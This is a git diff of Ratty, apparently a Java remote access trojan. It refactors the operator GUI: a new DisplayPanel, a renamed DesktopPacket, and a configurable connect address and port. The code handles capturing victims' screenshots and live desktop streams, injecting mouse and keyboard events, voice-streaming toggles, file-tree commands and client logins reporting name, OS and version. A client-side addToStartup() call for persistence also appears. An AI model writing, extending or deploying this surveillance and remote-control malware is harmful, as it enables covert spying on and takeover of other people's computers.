diff --git a/Ratty/src/de/sogomn/rat/Ratty.java b/Ratty/src/de/sogomn/rat/Ratty.java
index 1769f22..97e9472 100644
--- a/Ratty/src/de/sogomn/rat/Ratty.java
+++ b/Ratty/src/de/sogomn/rat/Ratty.java
@@ -122,10 +122,12 @@ public final class Ratty {
 			
 			if (input == JOptionPane.YES_OPTION) {
 				System.out.println("Server");
-				startServer(56673);
+				
+				startServer(port);
 			} else if (input == JOptionPane.NO_OPTION) {
 				System.out.println("Client");
-				connectToHost("localhost", 56673);
+				
+				connectToHost(address, port);
 			}
 		} else if (client) {
 			addToStartup();
diff --git a/Ratty/src/de/sogomn/rat/packet/DesktopStreamPacket.java b/Ratty/src/de/sogomn/rat/packet/DesktopPacket.java
similarity index 91%
rename from Ratty/src/de/sogomn/rat/packet/DesktopStreamPacket.java
rename to Ratty/src/de/sogomn/rat/packet/DesktopPacket.java
index 5ca121a..00accb1 100644
--- a/Ratty/src/de/sogomn/rat/packet/DesktopStreamPacket.java
+++ b/Ratty/src/de/sogomn/rat/packet/DesktopPacket.java
@@ -9,7 +9,7 @@ import de.sogomn.rat.ActiveConnection;
 import de.sogomn.rat.util.FrameEncoder;
 import de.sogomn.rat.util.FrameEncoder.IFrame;
 
-public final class DesktopStreamPacket extends AbstractPingPongPacket {
+public final class DesktopPacket extends AbstractPingPongPacket {
 	
 	private IFrame[] frames;
 	private int screenWidth, screenHeight;
@@ -24,12 +24,12 @@ public final class DesktopStreamPacket extends AbstractPingPongPacket {
 	private static final byte INCOMING = 1;
 	private static final byte END = 0;
 	
-	public DesktopStreamPacket(final boolean delete) {
+	public DesktopPacket(final boolean delete) {
 		type = REQUEST;
 		deleteLastScreenshot = delete ? DELETE : KEEP;
 	}
 	
-	public DesktopStreamPacket() {
+	public DesktopPacket() {
 		this(false);
 	}
 	
diff --git a/Ratty/src/de/sogomn/rat/packet/PacketType.java b/Ratty/src/de/sogomn/rat/packet/PacketType.java
index 4263728..7a1a53b 100644
--- a/Ratty/src/de/sogomn/rat/packet/PacketType.java
+++ b/Ratty/src/de/sogomn/rat/packet/PacketType.java
@@ -11,7 +11,7 @@ public enum PacketType {
 	FREE(4, FreePacket.class),
 	INFORMATION(5, InformationPacket.class),
 	COMMAND(6, CommandPacket.class),
-	DESKTOP(7, DesktopStreamPacket.class),
+	DESKTOP(7, DesktopPacket.class),
 	CLIPBOARD(8, ClipboardPacket.class),
 	FILE(9, FileSystemPacket.class),
 	DOWNLOAD(10, DownloadFilePacket.class),
diff --git a/Ratty/src/de/sogomn/rat/server/gui/DisplayController.java b/Ratty/src/de/sogomn/rat/server/gui/DisplayController.java
index 8fd24e6..c866bb0 100644
--- a/Ratty/src/de/sogomn/rat/server/gui/DisplayController.java
+++ b/Ratty/src/de/sogomn/rat/server/gui/DisplayController.java
@@ -1,149 +1,80 @@
 package de.sogomn.rat.server.gui;
 
-import java.awt.Color;
-import java.awt.Graphics2D;
-import java.awt.event.MouseEvent;
 import java.awt.image.BufferedImage;
 
-import de.sogomn.engine.IKeyboardListener;
-import de.sogomn.engine.IMouseListener;
-import de.sogomn.engine.Screen;
-import de.sogomn.engine.Screen.ResizeBehavior;
-import de.sogomn.engine.util.ImageUtils;
+import de.sogomn.rat.packet.DesktopPacket;
 import de.sogomn.rat.packet.IPacket;
 import de.sogomn.rat.packet.KeyEventPacket;
 import de.sogomn.rat.packet.MouseEventPacket;
+import de.sogomn.rat.packet.ScreenshotPacket;
 import de.sogomn.rat.util.FrameEncoder.IFrame;
 
-public final class DisplayController implements ISubController, IMouseListener, IKeyboardListener {
+final class DisplayController implements ISubController {
 	
 	private ServerClient client;
 	
-	private Screen screen;
-	private BufferedImage image;
-	
-	private static final int SCREEN_WIDTH = 1920 / 2;
-	private static final int SCREEN_HEIGHT = 1080 / 2;
+	private DisplayPanel displayPanel;
 	
 	public DisplayController(final ServerClient client) {
 		this.client = client;
-	}
-	
-	private Screen createScreen(final int width, final int height) {
-		final Screen screen = new Screen(width, height);
-		final String title = client.connection.getAddress();
-		
-		screen.setResizeBehavior(ResizeBehavior.KEEP_ASPECT_RATIO);
-		screen.setTitle(title);
-		screen.setSize(SCREEN_WIDTH, SCREEN_HEIGHT);
-		screen.setBackgroundColor(Color.BLACK);
-		screen.addMouseListener(this);
-		screen.addKeyboardListener(this);
-		screen.addListener(g -> {
-			g.drawImage(image, 0, 0, null);
-		});
-		
-		return screen;
-	}
-	
-	private void drawToScreenImage(final BufferedImage imagePart, final int x, final int y) {
-		final Graphics2D g = image.createGraphics();
-		
-		ImageUtils.applyHighGraphics(g);
-		
-		g.drawImage(imagePart, x, y, null);
-		g.dispose();
-	}
-	
-	public void updateScreen(final int width, final int height) {
-		if (screen == null || screen.getInitialWidth() != width || screen.getInitialHeight() != height || !screen.isOpen()) {
-			if (screen != null) {
-				screen.close();
-			}
-			
-			screen = createScreen(width, height);
-		}
 		
-		screen.show();
-		screen.redraw();
-	}
-	
-	public void showImage(final BufferedImage image) {
-		this.image = image;
+		displayPanel = new DisplayPanel();
 		
-		final int width = image.getWidth();
-		final int height = image.getHeight();
+		final String title = client.connection.getAddress();
 		
-		updateScreen(width, height);
+		displayPanel.addListener(this);
+		displayPanel.setTitle(title);
 	}
 	
-	public void showFrame(final IFrame frame, final int screenWidth, final int screenHeight) {
-		if (image == null || image.getWidth() != screenWidth || image.getHeight() != screenHeight) {
-			image = new BufferedImage(screenWidth, screenHeight, BufferedImage.TYPE_INT_RGB);
-		}
+	private void handleDesktopPacket(final DesktopPacket packet) {
+		final boolean streamingDesktop = client.isStreamingDesktop();
 		
-		drawToScreenImage(frame.image, frame.x, frame.y);
-		updateScreen(screenWidth, screenHeight);
-	}
-	
-	public void showFrames(final IFrame[] frames, final int screenWidth, final int screenHeight) {
-		if (image == null || image.getWidth() != screenWidth || image.getHeight() != screenHeight) {
-			image = new BufferedImage(screenWidth, screenHeight, BufferedImage.TYPE_INT_RGB);
+		if (!streamingDesktop) {
+			return;
 		}
 		
-		for (final IFrame frame : frames) {
-			drawToScreenImage(frame.image, frame.x, frame.y);
-		}
+		final IFrame[] frames = packet.getFrames();
+		final int screenWidth = packet.getScreenWidth();
+		final int screenHeight = packet.getScreenHeight();
+		final DesktopPacket desktop = new DesktopPacket();
 		
-		updateScreen(screenWidth, screenHeight);
+		client.connection.addPacket(desktop);
+		displayPanel.showFrames(frames, screenWidth, screenHeight);
 	}
 	
 	@Override
-	public void userInput(final String actionCommand) {
-		//...
+	public void userInput(final String command) {
+		if (command == RattyGui.DESKTOP) {
+			final DesktopPacket packet = new DesktopPacket(true);
+			
+			client.connection.addPacket(packet);
+		} else if (command == RattyGui.SCREENSHOT) {
+			final ScreenshotPacket packet = new ScreenshotPacket();
+			
+			client.connection.addPacket(packet);
+		} else if (command == DisplayPanel.MOUSE_EVENT) {
+			final MouseEventPacket packet = displayPanel.getLastMouseEventPacket();
+			
+			client.connection.addPacket(packet);
+		} else if (command == DisplayPanel.KEY_EVENT) {
+			final KeyEventPacket packet = displayPanel.getLastKeyEventPacket();
+			
+			client.connection.addPacket(packet);
+		}
 	}
 	
 	@Override
 	public void handlePacket(final IPacket packet) {
-		//...
-	}
-	
-	@Override
-	public void mouseEvent(final int x, final int y, final int button, final boolean flag) {
-		final byte type = flag ? MouseEventPacket.PRESS : MouseEventPacket.RELEASE;
-		final int buttonEvent;
-		
-		if (button == MouseEvent.BUTTON1) {
-			buttonEvent = MouseEvent.BUTTON1_DOWN_MASK;
-		} else if (button == MouseEvent.BUTTON2) {
-			buttonEvent = MouseEvent.BUTTON2_DOWN_MASK;
-		} else if (button == MouseEvent.BUTTON3) {
-			buttonEvent = MouseEvent.BUTTON3_DOWN_MASK;
-		} else {
-			buttonEvent = MouseEvent.NOBUTTON;
+		if (packet instanceof ScreenshotPacket) {
+			final ScreenshotPacket screenshot = (ScreenshotPacket)packet;
+			final BufferedImage image = screenshot.getImage();
+			
+			displayPanel.showImage(image);
+		} else if (packet instanceof DesktopPacket) {
+			final DesktopPacket desktop = (DesktopPacket)packet;
+			
+			handleDesktopPacket(desktop);
 		}
-		
-		final MouseEventPacket packet = new MouseEventPacket(x, y, buttonEvent, type);
-		
-		client.connection.addPacket(packet);
-	}
-	
-	@Override
-	public void mouseMotionEvent(final int x, final int y, final int modifiers) {
-		//...
-	}
-	
-	@Override
-	public void mouseWheelEvent(final int x, final int y, final int rotation) {
-		//...
-	}
-	
-	@Override
-	public void keyboardEvent(final int key, final boolean flag) {
-		final byte type = flag ? KeyEventPacket.PRESS : KeyEventPacket.RELEASE;
-		final KeyEventPacket packet = new KeyEventPacket(key, type);
-		
-		client.connection.addPacket(packet);
 	}
 	
 }
diff --git a/Ratty/src/de/sogomn/rat/server/gui/DisplayPanel.java b/Ratty/src/de/sogomn/rat/server/gui/DisplayPanel.java
new file mode 100644
index 0000000..19c4def
--- /dev/null
+++ b/Ratty/src/de/sogomn/rat/server/gui/DisplayPanel.java
@@ -0,0 +1,157 @@
+package de.sogomn.rat.server.gui;
+
+import java.awt.Color;
+import java.awt.Graphics2D;
+import java.awt.event.MouseEvent;
+import java.awt.image.BufferedImage;
+
+import de.sogomn.engine.IKeyboardListener;
+import de.sogomn.engine.IMouseListener;
+import de.sogomn.engine.Screen;
+import de.sogomn.engine.Screen.ResizeBehavior;
+import de.sogomn.engine.util.AbstractListenerContainer;
+import de.sogomn.engine.util.ImageUtils;
+import de.sogomn.rat.packet.KeyEventPacket;
+import de.sogomn.rat.packet.MouseEventPacket;
+import de.sogomn.rat.util.FrameEncoder.IFrame;
+
+public final class DisplayPanel extends AbstractListenerContainer<IGuiController> implements IMouseListener, IKeyboardListener {
+	
+	private String title;
+	private Screen screen;
+	private BufferedImage image;
+	
+	private MouseEventPacket lastMouseEventPacket;
+	private KeyEventPacket lastKeyEventPacket;
+	
+	private static final int SCREEN_WIDTH = 1920 / 2;
+	private static final int SCREEN_HEIGHT = 1080 / 2;
+	
+	public static final String MOUSE_EVENT = "Mouse event";
+	public static final String KEY_EVENT = "Key event";
+	
+	public DisplayPanel() {
+		//...
+	}
+	
+	private Screen createScreen(final int width, final int height) {
+		final Screen screen = new Screen(width, height);
+		
+		screen.setResizeBehavior(ResizeBehavior.KEEP_ASPECT_RATIO);
+		screen.setTitle(title);
+		screen.setSize(SCREEN_WIDTH, SCREEN_HEIGHT);
+		screen.setBackgroundColor(Color.BLACK);
+		screen.addMouseListener(this);
+		screen.addKeyboardListener(this);
+		screen.addListener(g -> {
+			g.drawImage(image, 0, 0, null);
+		});
+		
+		return screen;
+	}
+	
+	private void drawToScreenImage(final BufferedImage imagePart, final int x, final int y) {
+		final Graphics2D g = image.createGraphics();
+		
+		ImageUtils.applyHighGraphics(g);
+		
+		g.drawImage(imagePart, x, y, null);
+		g.dispose();
+	}
+	
+	private void updateImage(final int screenWidth, final int screenHeight) {
+		if (image == null || image.getWidth() != screenWidth || image.getHeight() != screenHeight) {
+			image = new BufferedImage(screenWidth, screenHeight, BufferedImage.TYPE_INT_RGB);
+		}
+	}
+	
+	private void updateScreen(final int screenWidth, final int screenHeight) {
+		if (screen == null || screen.getInitialWidth() != screenWidth || screen.getInitialHeight() != screenHeight || !screen.isOpen()) {
+			if (screen != null) {
+				screen.close();
+			}
+			
+			screen = createScreen(screenWidth, screenHeight);
+		}
+		
+		screen.show();
+		screen.redraw();
+	}
+	
+	@Override
+	public void mouseEvent(final int x, final int y, final int button, final boolean flag) {
+		final byte type = flag ? MouseEventPacket.PRESS : MouseEventPacket.RELEASE;
+		final int buttonEvent;
+		
+		if (button == MouseEvent.BUTTON1) {
+			buttonEvent = MouseEvent.BUTTON1_DOWN_MASK;
+		} else if (button == MouseEvent.BUTTON2) {
+			buttonEvent = MouseEvent.BUTTON2_DOWN_MASK;
+		} else if (button == MouseEvent.BUTTON3) {
+			buttonEvent = MouseEvent.BUTTON3_DOWN_MASK;
+		} else {
+			buttonEvent = MouseEvent.NOBUTTON;
+		}
+		
+		lastMouseEventPacket = new MouseEventPacket(x, y, buttonEvent, type);
+		
+		notifyListeners(controller -> controller.userInput(MOUSE_EVENT));
+	}
+	
+	@Override
+	public void mouseMotionEvent(final int x, final int y, final int modifiers) {
+		//...
+	}
+	
+	@Override
+	public void mouseWheelEvent(final int x, final int y, final int rotation) {
+		//...
+	}
+	
+	@Override
+	public void keyboardEvent(final int key, final boolean flag) {
+		final byte type = flag ? KeyEventPacket.PRESS : KeyEventPacket.RELEASE;
+		
+		lastKeyEventPacket = new KeyEventPacket(key, type);
+		
+		notifyListeners(controller -> controller.userInput(KEY_EVENT));
+	}
+	
+	public void setTitle(final String title) {
+		this.title = title;
+	}
+	
+	public void showImage(final BufferedImage image) {
+		this.image = image;
+		
+		final int width = image.getWidth();
+		final int height = image.getHeight();
+		
+		updateScreen(width, height);
+	}
+	
+	public void showFrame(final IFrame frame, final int screenWidth, final int screenHeight) {
+		updateImage(screenWidth, screenHeight);
+		drawToScreenImage(frame.image, frame.x, frame.y);
+		updateScreen(screenWidth, screenHeight);
+	}
+	
+	public void showFrames(final IFrame[] frames, final int screenWidth, final int screenHeight) {
+		updateImage(screenWidth, screenHeight);
+		
+		for (final IFrame frame : frames) {
+			drawToScreenImage(frame.image, frame.x, frame.y);
+		}
+		
+		updateScreen(screenWidth, screenHeight);
+	}
+	
+	public MouseEventPacket getLastMouseEventPacket() {
+		return lastMouseEventPacket;
+	}
+	
+	public KeyEventPacket getLastKeyEventPacket() {
+		return lastKeyEventPacket;
+	}
+	
+}
diff --git a/Ratty/src/de/sogomn/rat/server/gui/FileTreeController.java b/Ratty/src/de/sogomn/rat/server/gui/FileTreeController.java
index da561a1..d3e3ca5 100644
--- a/Ratty/src/de/sogomn/rat/server/gui/FileTreeController.java
+++ b/Ratty/src/de/sogomn/rat/server/gui/FileTreeController.java
@@ -2,7 +2,7 @@ package de.sogomn.rat.server.gui;
 
 import de.sogomn.rat.packet.IPacket;
 
-public final class FileTreeController implements ISubController {
+final class FileTreeController implements ISubController {
 	
 	private ServerClient client;
 	
@@ -33,6 +33,8 @@ public final class FileTreeController implements ISubController {
 			//...
 		} else if (command == FileTree.DELETE) {
 			//...
+		} else if (command == RattyGui.FILES) {
+			//...
 		}
 	}
 	
diff --git a/Ratty/src/de/sogomn/rat/server/gui/IGuiController.java b/Ratty/src/de/sogomn/rat/server/gui/IGuiController.java
index 99a190f..6caf852 100644
--- a/Ratty/src/de/sogomn/rat/server/gui/IGuiController.java
+++ b/Ratty/src/de/sogomn/rat/server/gui/IGuiController.java
@@ -1,6 +1,6 @@
 package de.sogomn.rat.server.gui;
 
-public interface IGuiController {
+interface IGuiController {
 	
 	void userInput(final String command);
 	
diff --git a/Ratty/src/de/sogomn/rat/server/gui/ISubController.java b/Ratty/src/de/sogomn/rat/server/gui/ISubController.java
index 2447d8c..82806b2 100644
--- a/Ratty/src/de/sogomn/rat/server/gui/ISubController.java
+++ b/Ratty/src/de/sogomn/rat/server/gui/ISubController.java
@@ -2,7 +2,7 @@ package de.sogomn.rat.server.gui;
 
 import de.sogomn.rat.packet.IPacket;
 
-public interface ISubController extends IGuiController {
+interface ISubController extends IGuiController {
 	
 	void handlePacket(final IPacket packet);
 	
diff --git a/Ratty/src/de/sogomn/rat/server/gui/RattyGui.java b/Ratty/src/de/sogomn/rat/server/gui/RattyGui.java
index c5ee9de..90a7ca9 100644
--- a/Ratty/src/de/sogomn/rat/server/gui/RattyGui.java
+++ b/Ratty/src/de/sogomn/rat/server/gui/RattyGui.java
@@ -135,7 +135,7 @@ public final class RattyGui extends AbstractListenerContainer<IGuiController> {
 		notifyListeners(controller -> controller.userInput(command));
 	}
 	
-	public void updateTable() {
+	public void update() {
 		tableModel.fireTableDataChanged();
 	}
 	
diff --git a/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java b/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java
index 3c48423..51cc5cc 100644
--- a/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java
+++ b/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java
@@ -4,6 +4,7 @@ import java.util.ArrayList;
 
 import de.sogomn.rat.ActiveConnection;
 import de.sogomn.rat.IConnectionObserver;
+import de.sogomn.rat.packet.FreePacket;
 import de.sogomn.rat.packet.IPacket;
 import de.sogomn.rat.packet.InformationPacket;
 import de.sogomn.rat.server.ActiveServer;
@@ -24,12 +25,23 @@ public final class RattyGuiController implements IServerObserver, IConnectionObs
 	}
 	
 	private void logIn(final ServerClient client, final InformationPacket packet) {
+		final String name = packet.getName();
+		final String os = packet.getOs();
+		final String version = packet.getVersion();
 		
+		client.logIn(name, os, version);
+		gui.addRow(client);
+		gui.addListener(client.displayController);
+		gui.addListener(client.fileTreeController);
 	}
 	
 	private IPacket getPacket(final String command, final ServerClient client) {
 		IPacket packet = null;
 		
+		if (command == RattyGui.FREE) {
+			packet = new FreePacket();
+		}
+		
 		return packet;
 	}
 	
@@ -48,34 +60,43 @@ public final class RattyGuiController implements IServerObserver, IConnectionObs
 		}
 	}
 	
+	@Override
+	public void connected(final ActiveServer server, final ActiveConnection connection) {
+		final ServerClient client = new ServerClient(connection);
+		final InformationPacket packet = new InformationPacket();
+		
+		connection.setObserver(this);
+		connection.start();
+		connection.addPacket(packet);
+		clients.add(client);
+	}
+	
 	@Override
 	public void disconnected(final ActiveConnection connection) {
 		final ServerClient client = getClient(connection);
 		
+		gui.removeListener(client.displayController);
+		gui.removeListener(client.fileTreeController);
+		gui.removeRow(client);
+		clients.remove(client);
+		
 		client.setStreamingDesktop(false);
 		client.setStreamingVoice(false);
 		
 		connection.setObserver(null);
 		connection.close();
-		
-		clients.remove(client);
-		gui.removeRow(client);
-	}
-	
-	@Override
-	public synchronized void connected(final ActiveServer server, final ActiveConnection connection) {
-		final ServerClient client = new ServerClient(connection);
-		final InformationPacket packet = new InformationPacket();
-		
-		connection.setObserver(this);
-		clients.add(client);
-		connection.start();
-		connection.addPacket(packet);
 	}
 	
 	@Override
 	public void closed(final ActiveServer server) {
-		//...
+		gui.removeAllListeners();
+		
+		clients.stream().forEach(client -> {
+			client.connection.setObserver(null);
+			client.connection.close();
+		});
+		
+		clients.clear();
 	}
 	
 	@Override
@@ -83,6 +104,18 @@ public final class RattyGuiController implements IServerObserver, IConnectionObs
 		final ServerClient client = gui.getLastServerClientClicked();
 		final IPacket packet = getPacket(command, client);
 		
+		if (command == RattyGui.DESKTOP) {
+			final boolean streamingDesktop = client.isStreamingDesktop();
+			
+			client.setStreamingDesktop(!streamingDesktop);
+			gui.update();
+		} else if (command == RattyGui.VOICE) {
+			final boolean streamingVoice = client.isStreamingVoice();
+			
+			client.setStreamingVoice(!streamingVoice);
+			gui.update();
+		}
+		
 		if (packet != null) {
 			client.connection.addPacket(packet);
 		}
diff --git a/Ratty/src/de/sogomn/rat/server/gui/ServerClient.java b/Ratty/src/de/sogomn/rat/server/gui/ServerClient.java
index cb6571a..fb61b25 100644
--- a/Ratty/src/de/sogomn/rat/server/gui/ServerClient.java
+++ b/Ratty/src/de/sogomn/rat/server/gui/ServerClient.java
@@ -2,7 +2,7 @@ package de.sogomn.rat.server.gui;
 
 import de.sogomn.rat.ActiveConnection;
 
-public final class ServerClient {
+final class ServerClient {
 	
 	private boolean loggedIn;